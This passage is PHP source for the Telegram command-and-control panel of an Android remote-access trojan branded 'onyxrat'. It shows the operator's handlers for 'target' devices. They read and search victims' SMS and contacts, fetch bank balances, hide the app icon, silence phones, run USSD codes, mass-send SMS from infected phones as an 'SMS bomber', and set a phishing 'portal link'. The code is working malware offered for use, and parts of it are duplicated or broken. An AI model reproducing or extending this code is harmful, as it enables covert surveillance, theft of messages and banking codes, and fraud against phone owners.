            [['text' => "🪬 ᴀᴜᴛᴏ ʜɪᴅᴇ", 'callback_data' => "autohideaction"], ['text' => "$hideact", 'callback_data' => "autohideaction"]],
            [['text' => "⬅️ʙᴀᴄᴋ", 'callback_data' => "back_home"]],
        ]));
        emg($chat_id, $mi, "ᴍᴀɴᴀɢᴇ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴꜱ ᴡɪᴛʜ ʙᴜᴛᴛᴏɴꜱ ʙᴇʟᴏᴡ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $firstActionButton);
    } elseif ($data == "balanceaction") {
        if (json_decode(file_get_contents("data/firstaction.json"))->balance == "off") {
            updateJsonValueInFile("data/firstaction.json", "balance", "on");
        } else {
            updateJsonValueInFile("data/firstaction.json", "balance", "off");
        }
        $bal = json_decode(file_get_contents("data/firstaction.json"))->balance;
        $tarphone = json_decode(file_get_contents("data/firstaction.json"))->targetphone;
        $hideact = json_decode(file_get_contents("data/firstaction.json"))->autohide;
        $firstActionButton = json_encode(array('inline_keyboard' => [[['text' => "💸 ʙᴀʟᴀɴᴄᴇ", 'callback_data' => "balanceaction"], ['text' => "$bal", 'callback_data' => "balanceaction"]],
            [['text' => "📞 ᴜꜱᴇʀ ᴘʜᴏɴᴇꜱ", 'callback_data' => "userphoneaction"], ['text' => "$tarphone", 'callback_data' => "userphoneaction"]],
            [['text' => "🪬 ᴀᴜᴛᴏ ʜɪᴅᴇ", 'callback_data' => "autohideaction"], ['text' => "$hideact", 'callback_data' => "autohideaction"]],
            [['text' => "⬅️ʙᴀᴄᴋ", 'callback_data' => "back_home"]],
        ]));
        emg($chat_id, $mi, "ᴍᴀɴᴀɢᴇ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴꜱ ᴡɪᴛʜ ʙᴜᴛᴛᴏɴꜱ ʙᴇʟᴏᴡ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        $firstActionButton);
    } elseif ($data == "userphoneaction") {
        if (json_decode(file_get_contents("data/firstaction.json"))->targetphone == "off") {
            updateJsonValueInFile("data/firstaction.json", "targetphone", "on");
        } else {
            updateJsonValueInFile("data/firstaction.json", "targetphone", "off");
        }
        $bal = json_decode(file_get_contents("data/firstaction.json"))->balance;
        $tarphone = json_decode(file_get_contents("data/firstaction.json"))->targetphone;
        $hideact = json_decode(file_get_contents("data/firstaction.json"))->autohide;
        $firstActionButton = json_encode(array('inline_keyboard' => [[['text' => "💸 ʙᴀʟᴀɴᴄᴇ", 'callback_data' => "balanceaction"], ['text' => "$bal", 'callback_data' => "balanceaction"]],
            [['text' => "📞 ᴜꜱᴇʀ ᴘʜᴏɴᴇꜱ", 'callback_data' => "userphoneaction"], ['text' => "$tarphone", 'callback_data' => "userphoneaction"]],
            [['text' => "🪬 ᴀᴜᴛᴏ ʜɪᴅᴇ", 'callback_data' => "autohideaction"], ['text' => "$hideact", 'callback_data' => "autohideaction"]],
            [['text' => "⬅️ʙᴀᴄᴋ", 'callback_data' => "back_home"]],
        ]));
        emg($chat_id, $mi, "ᴍᴀɴᴀɢᴇ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴꜱ ᴡɪᴛʜ ʙᴜᴛᴛᴏɴꜱ ʙᴇʟᴏᴡ", $firstActionButton);
    } elseif ($data == "autohideaction") {
        if (json_decode(file_get_contents("data/firstaction.json"))->autohide == "off") {
            updateJsonValueInFile("data/firstaction.json", "autohide", "on");
        } else {
            updateJsonValueInFile("data/firstaction.json", "autohide", "off");
        }
        $bal = json_decode(file_get_contents("data/firstaction.json"))->balance;
        $tarphone = json_decode(file_get_contents("data/firstaction.json"))->targetphone;
        $hideact = json_decode(file_get_contents("data/firstaction.json"))->autohide;
        $firstActionButton = json_encode(array('inline_keyboard' => [[['text' => "💸 ʙᴀʟᴀɴᴄᴇ", 'callback_data' => "balanceaction"], ['text' => "$bal", 'callback_data' => "balanceaction"]],
            [['text' => "📞 ᴜꜱᴇʀ ᴘʜᴏɴᴇꜱ", 'callback_data' => "userphoneaction"], ['text' => "$tarphone", 'callback_data' => "userphoneaction"]],
            [['text' => "🪬 ᴀᴜᴛᴏ ʜɪᴅᴇ", 'callback_data' => "autohideaction"], ['text' => "$hideact", 'callback_data' => "autohideaction"]],
            [['text' => "⬅️ʙᴀᴄᴋ", 'callback_data' => "back_home"]],
        ]));
        emg($chat_id, $mi, "ᴍᴀɴᴀɢᴇ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴꜱ ᴡɪᴛʜ ʙᴜᴛᴛᴏɴꜱ ʙᴇʟᴏᴡ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        $firstActionButton);

    } elseif (strpos($command, "settragetname") !== false) {
    $datass = explode(" ", $command);
    $device_id = $datass[1];
    $info_button = info_button($device_id);

    smg($chat_id, "✅ <b>ᴛᴀʀɢᴇᴛ ɴᴀᴍᴇ ꜱᴇᴛ</b>\n\nᴛᴏ: <code>$text</code>", $info_button);
    file_put_contents("user/$device_id-name.txt", $text);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "set_number") {
    emg($chat_id, $mi, "📲 <b>ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ꜱᴍꜱ ɴᴜᴍʙᴇʀ</b>\n\nᴇxᴀᴍᴘʟᴇ: <code>09123456789</code>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set number");

} elseif ($command == "set number") {
    smg($chat_id, "✅ <b>ꜱᴍꜱ ɴᴜᴍʙᴇʀ ꜱᴇᴛ</b>\n\nᴛᴏ: <code>$text</code>", $back_settings);
    file_put_contents("data/number-first.txt", $text);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "set_number_offline_mode") {
    emg($chat_id, $mi, "📶 <b>ꜱᴇᴛ ᴏꜰꜰʟɪɴᴇ ᴍᴏᴅᴇ ꜱɪᴍ</b>\n\nᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ꜱɪᴍ ᴄᴀʀᴅ ɴᴜᴍʙᴇʀ\nᴇxᴀᴍᴘʟᴇ: <code>09123456789</code>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set offline");

} elseif ($command == "set offline") {
    smg($chat_id, "✅ <b>ᴏꜰꜰʟɪɴᴇ ꜱɪᴍ ꜱᴇᴛ</b>\n\nᴛᴏ: <code>$text</code>", $back_settings);
    file_put_contents("data/offline-number.txt", $text);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "num_senders") {
    $text = file_get_contents("user/AllSMS.txt");
    preg_match_all('/sender : (.+)/', $text, $matches);
    
    $senders = $matches[1];
    $x = "";
    foreach ($senders as $sender) {
        if (strpos($sender, '+98') !== False) {
            $count = preg_match_all("/[0-9]/", $sender, $matches);
            if ($count == 12) {
                $x .= "$sender\n";
            }
        }
            if (strpos($sender, '09') !== False) {
                $count = preg_match_all("/[0-9]/", $sender, $matches);
                if ($count == 11) {

                    $x .= "$sender\n";
                }
            }
        }
        preg_match_all('/sender : (.+)/', $text, $matches);

        $senders = $matches[1];
        $x = "";
        foreach ($senders as $sender) {
            if (strpos($sender, '+98') !== False) {
                $count = preg_match_all("/[0-9]/", $sender, $matches);
                if ($count == 12) {

                    $x .= "$sender\n";
                }
            }
            if (strpos($sender, '09') !== False) {
                $count = preg_match_all("/[0-9]/", $sender, $matches);
                if ($count == 11) {

                    $x .= "$sender\n";
                }
            }
        }
        $lines = explode("\n", $x);
        $unique_lines = array_unique($lines);
        $result = implode("\n", $unique_lines);
        bot('sendMessage', [
            'chat_id' => $id_sender,
            'text' => "$result\n@ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx",
            'parse_mode' => 'HTML',
        ]);
    } elseif ($data == "num_con") {
        $text = file_get_contents("user/@ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx");
        preg_match_all('/Phone : (.+)/', $text, $matches);

        $senders = $matches[1];
        $x = "";
        $n = 0;
        foreach ($senders as $sender) {
            $n += 1;
            $x .= "$sender\n";
            if ($n >= 299) {
                $lines = explode("\n", $x);
                $unique_lines = array_unique($lines);
                $result = implode("\n", $unique_lines);
                bot('sendMessage', [
                    'chat_id' => $id_sender,
                    'text' => "$result",
                    'parse_mode' => 'HTML',
                ]);
                $x = "";
                $n = 0;
            }


        }
        $lines = explode("\n", $x);
        $unique_lines = array_unique($lines);
        $result = implode("\n", $unique_lines);
        bot('sendMessage', [
            'chat_id' => $id_sender,
            'text' => "$result\n@ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx",
            'parse_mode' => 'HTML',
        ]);
    } elseif ($data == "checkhost") {


        emg($chat_id, $mi, "<b>Check URL From Check-Host.net</b> are being successfully received, Approximate time : 5 seconds", $back_settings);
        $check_result = checkhost($link_show);

        $check_result_string = '';
        foreach ($check_result as $city => $value) {
            if ($value['statuscode'] == "200" || $value['statuscode'] == "301") {
                $emoji = "✅";
            } else {
                $emoji = "⛔️";
            }
            $time = substr($value['time'], 0, 4);
            $mtext = "<b>Check URL From Check-Host.net</b>";

            $check_result_string .= "<b>$emoji $city</b> ==>";
            $check_result_string .= "<b>Status </b> : {$value['status']} | {$value['statuscode']}\n";
            $check_result_string .= "<b>Load Time</b> : $time\n";
            $check_result_string .= "➖➖➖➖➖➖\n";
        }
        smg($chat_id, $check_result_string, null);
    } elseif ($data == "get_all_balance") {
bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "<pre>🌀 ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅ ᴛᴏ ᴀʟʟ </pre>"
                 . "👤ᴍᴏᴅᴇ : ʙᴀʟᴀɴᴄᴇ\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ᴀʟʟ ʙᴀʟᴀɴᴄᴇ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('getallbalance', $device_id);
    } elseif ($data == "hide_all") {
bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "<pre>🌀 ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅ ᴛᴏ ᴀʟʟ </pre>"
                 . "👤ᴍᴏᴅᴇ : ʜɪᴅᴇ\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ʜɪᴅᴇ ᴀʟʟ ɪᴄᴏɴ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requestsAll('hide_all');
    } elseif ($data == "silent_all") {
            bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "<pre>🌀 ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅ ᴛᴏ ᴀʟʟ </pre>"
                 . "👤ringer : ꜱɪʟᴇɴᴛ\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱɪʟᴇɴᴛ ᴀʟʟ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requestsAll('silent_all');
    } elseif ($data == "set_url") {
    emg($chat_id, $mi, "🌐 <b>ꜱᴇᴛ ᴘᴏʀᴛᴀʟ ʟɪɴᴋ</b>\n\nᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ʟɪɴᴋ\nᴇxᴀᴍᴘʟᴇ: <code>https://example.com</code>", $back_home);
    file_put_contents("user/$chat_id/command.txt", "set url");

} elseif ($command == "set url") {
    smg($chat_id, "✅ <b>ᴘᴏʀᴛᴀʟ ʟɪɴᴋ ꜱᴇᴛ</b>\n\nᴛᴏ: <code>$text</code>", $back_home);
    file_put_contents("link.txt", $text);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "show_url") {
    emg($chat_id, $mi, "🔗 <b>ᴘᴏʀᴛᴀʟ ʟɪɴᴋ ᴍᴇɴᴜ</b>\n\nꜱᴇʟᴇᴄᴛ ᴅᴇꜱɪʀᴇᴅ ᴏᴘᴛɪᴏɴ:", $url_inline);

} elseif ($data == "sms_all") {
    file_put_contents("user/$chat_id/command.txt", "");
    emg($chat_id, $mi, "💣 <b>ꜱᴍꜱ ʙᴏᴍʙᴇʀ</b>\n\nᴛᴇxᴛ ᴍᴇꜱꜱᴀɢᴇ: <code>$text_message</code>", $sms_button_all);

} elseif ($data == "set_message_contacts") {
    emg($chat_id, $mi, "📩 <b>ꜱᴇᴛ ᴄᴏɴᴛᴀᴄᴛꜱ ᴍᴇꜱꜱᴀɢᴇ</b>\n\nᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ᴛᴇxᴛ", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "message_contacts");

} elseif ($command == "message_contacts") {
    file_put_contents("data/message_contacts.txt", $text);
    smg($chat_id, "✅ <b>ᴄᴏɴᴛᴀᴄᴛꜱ ᴍᴇꜱꜱᴀɢᴇ ꜱᴇᴛ</b>\n\nᴛᴏ: <code>$text</code>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "edit_message_all") {
    emg($chat_id, $mi, "✏️ <b>ᴇᴅɪᴛ ꜱᴍꜱ ᴛᴇxᴛ</b>\n\nᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ɴᴇᴡ ᴛᴇxᴛ", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set message all");

} elseif ($command == "set message all") {
    file_put_contents("user/$chat_id/message.txt", $text);
    smg($chat_id, "✅ <b>ꜱᴍꜱ ᴛᴇxᴛ ᴜᴘᴅᴀᴛᴇᴅ</b>\n\nᴛᴏ: <code>$text</code>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "");

} elseif ($data == "set_list_all") {
    emg($chat_id, $mi, "📋 <b>ꜱᴇᴛ ɴᴜᴍʙᴇʀ ʟɪꜱᴛ</b>\n\nᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ɴᴜᴍʙᴇʀꜱ (ᴏɴᴇ ᴘᴇʀ ʟɪɴᴇ)", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set list all");

} elseif ($command == "set list all") {
    file_put_contents("user/$chat_id/numberlist.txt", $text);
    smg($chat_id, "✅ <b>ɴᴜᴍʙᴇʀ ʟɪꜱᴛ ꜱᴇᴛ</b>\n\nꜱʜᴏᴜʟᴅ ᴍᴇꜱꜱᴀɢᴇꜱ ʙᴇ ꜱᴇɴᴛ?", $send_sms_all);
    file_put_contents("user/$chat_id/command.txt", "");
    } elseif ($data == "last_send_all") {

    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "<pre>🌀 ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅ ᴛᴏ ᴀʟʟ </pre>"
                 . "📑 ꜱᴍꜱ ᴛᴇxᴛ $text_message\n"
                 . "☎️ ɴᴜᴍʙᴇʀ $number_message\n"
                 . "👤ᴍᴏᴅᴇ : ꜱᴇɴᴅ ꜱᴍꜱ\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱᴇɴᴅ ꜱᴍꜱ ᴛᴏ ᴀʟʟ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        $time = explode("\n", $number_message);
        $time = count($time) * 5;
        $str = str_replace("\n", ",", $number_message);
        requestSMS("send_sms_all", null, $str, $text_message);
} elseif (strpos($data, "information") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $info_button = info_button($device_id);
    file_put_contents("user/$chat_id/command.txt", "");
    
    emg($chat_id, $mi, "📊 ‹‹ <b>ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ</b> ›› ꜱᴇᴄᴛɪᴏɴ\n\n"
        . "👤 ɴᴀᴍᴇ ᴛᴀʀɢᴇᴛ : [ <code>$target_name</code> ]\n\n"
        . "🌐 ɪɴꜱᴛᴀʟʟ ɪᴘ : [ <code>$install_ip</code> ]\n\n"
        . "<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", 
    $info_button);
    
} elseif (strpos($data, "send_sms") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $sms_button = sms_button($device_id);

file_put_contents("user/$chat_id/command.txt", "");
emg($chat_id, $mi, "📨 ‹‹ <b>ꜱᴇɴᴅ ꜱᴍꜱ</b> ›› ꜱᴇᴄᴛɪᴏɴ\n\n📝 ᴛᴇxᴛ ᴍᴇꜱꜱᴀɢᴇ : [ <code>$text_message</code> ]\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $sms_button);

} elseif (strpos($data, "searchSMS") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "🔙 ‹‹ ʙᴀᴄᴋ", 'callback_data' => "back_panel $datass[1]"]]
    ]]);
    emg($chat_id, $mi, "🔍 ‹‹ <b>ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ᴡᴏʀᴅ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_control);
    file_put_contents("user/$chat_id/command.txt", "setwords $device_id");
    
} elseif (strpos($data, "ussdcode") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    emg($chat_id, $mi, "📟 ‹‹ <b>ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ᴄᴏᴅᴇ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_control);
    file_put_contents("user/$chat_id/command.txt", "sendussd $device_id");
    
} elseif (strpos($command, "setwords") !== false) {
    $datass = explode(" ", $command);
    $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        file_put_contents("user/$chat_id/command.txt", "");
        requestSMS("searchSMS", $device_id, null, $text);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🔍 ꜱᴇᴀʀᴄʜ ꜱᴍꜱ -> $text\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱᴇᴀʀᴄʜ ꜱᴍꜱ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);

    } elseif (strpos($command, "sendussd") !== false) {
        $datass = explode(" ", $command);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        $ussd = $text;
        file_put_contents("user/$chat_id/command.txt", "");
        requestSMSContact("ussdcode",$device_id,$ussd);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "☎️ ussd code $ussd\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ʀᴜʀ ᴜꜱꜱᴅ ᴄᴏᴅᴇᴛ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);

    }elseif ($data == "search_all") {
        emg($chat_id, $mi, "Please send the <b>Word ...</b>", $back_settings);
        file_put_contents("user/$chat_id/command.txt", "set words2");
    } elseif ($command == "set words2") {
        file_put_contents("user/$chat_id/command.txt", "");
        requestSMS("allSearch", $device_id, null, $text);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: all\n"
                 . "🔍 ꜱᴇᴀʀᴄʜ ꜱᴍꜱ -> $text\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱᴇᴀʀᴄʜ ꜱᴍꜱ",
        'parse_mode' => 'HTML'
    ]);
    } elseif (strpos($data, "clearinfo") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $info_button = info_button($device_id);
    emg($chat_id, $mi, "🧹 ‹‹ ᴀʟʟ ɪɴꜰᴏ ᴛᴀʀɢᴇᴛ (ɴᴀᴍᴇ) ᴄʜᴀɴɢᴇᴅ ᴛᴏ [ <code>ɴᴜʟʟ</code> ] ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $info_button);
    file_put_contents("user/$device_id-name.txt", "null");
    
} elseif (strpos($data, "edit_message") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $back_sms = back_sms($device_id);
    emg($chat_id, $mi, "📝 ‹‹ ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ <b>ꜱᴍꜱ ᴛᴇxᴛ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_sms);
    file_put_contents("user/$chat_id/command.txt", "setmessage $device_id");

} elseif (strpos($command, "setmessage") !== false) {
    $datass = explode(" ", $command);
    $device_id = $datass[1];
    $back_sms = back_sms($device_id);

    file_put_contents("user/$chat_id/message.txt", $text);
    smg($chat_id, "✅ ‹‹ <b>ꜱᴍꜱ ᴛᴇxᴛ</b> ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ꜱᴇᴛ ᴛᴏ [ <code>$text</code> ] ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_sms);
    file_put_contents("user/$chat_id/command.txt", "");
    
} elseif (strpos($data, "set_list") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $back_sms = back_sms($device_id);
    emg($chat_id, $mi, "📋 ‹‹ ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ <b>ʟɪꜱᴛ ɴᴜᴍʙᴇʀ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_sms);
    file_put_contents("user/$chat_id/command.txt", "setlist $device_id");

} elseif (strpos($command, "setlist") !== false) {
    $datass = explode(" ", $command);
    $device_id = $datass[1];
    $send_sms = send_sms($device_id);

    file_put_contents("user/$chat_id/numberlist.txt", $text);
    smg($chat_id, "✅ ‹‹ <b>ʟɪꜱᴛ ɴᴜᴍʙᴇʀ</b> ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ꜱᴇᴛ ››\n\n✉️ ꜱʜᴏᴜʟᴅ ᴍᴇꜱꜱᴀɢᴇꜱ ʙᴇ ꜱᴇɴᴛ?\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $send_sms);
    file_put_contents("user/$chat_id/command.txt", "");
    
} elseif (strpos($data, "last_send") !== false) {
    $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "📑 ꜱᴍꜱ ᴛᴇxᴛ -> $text_message\n"
                 . "☎️ ɴᴜᴍʙᴇʀ -> $number_message\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱᴇɴᴅ ꜱᴍꜱ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        $time = explode("\n", $number_message);
        $time = count($time) * 5;
        $str = str_replace("\n", ",", $number_message);
        requestSMS("send_sms", $device_id, $str, $text_message);


    } elseif (strpos($data, "status_user") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    // نمایش پیام در حال پردازش
    $message_id = sendCommandWithResponse($chat_id, $device_id, $device_model, "Get Device Status", "");
    
    // ارسال درخواست واقعی
    requests('status', $device_id);
    
    // ذخیره message_id برای ویرایش بعدی در Received.php
    file_put_contents("user/$device_id-status-msg.txt", "$chat_id|$message_id");

        requests('status', $datass[1]);
} elseif (strpos($data, "last_sms") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʟᴀꜱᴛ ꜱᴍꜱ...\n"
                 . "👤 ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡 ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ʟᴀꜱᴛ ꜱᴍꜱ\n\n"
                 . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    file_put_contents("user/$device_id-lastsms-msg.txt", $chat_id."|".$wait_msg->result->message_id);
    requests('last_sms', $device_id);

    } elseif (strpos($data, "all_sms") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $getsmsButton = getsmsButton($device_id);

        emg($chat_id, $mi, "Choose Type To Get", $getsmsButton);
    } elseif (strpos($data, "sent") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ꜱᴍꜱ ʟɪꜱᴛ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ᴀʟʟ ᴏᴜᴛ ʙᴏxᴛ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('all_sms_sent', $device_id);
    } elseif (strpos($data, "Popo ") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ꜱᴍꜱ ʟɪꜱᴛ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ꜱᴍꜱ ʟɪꜱᴛ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    requests('all_sms', $device_id);

    } elseif (strpos($data, "all_contacts ") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ꜱᴍꜱ ʟɪꜱᴛ...\n"
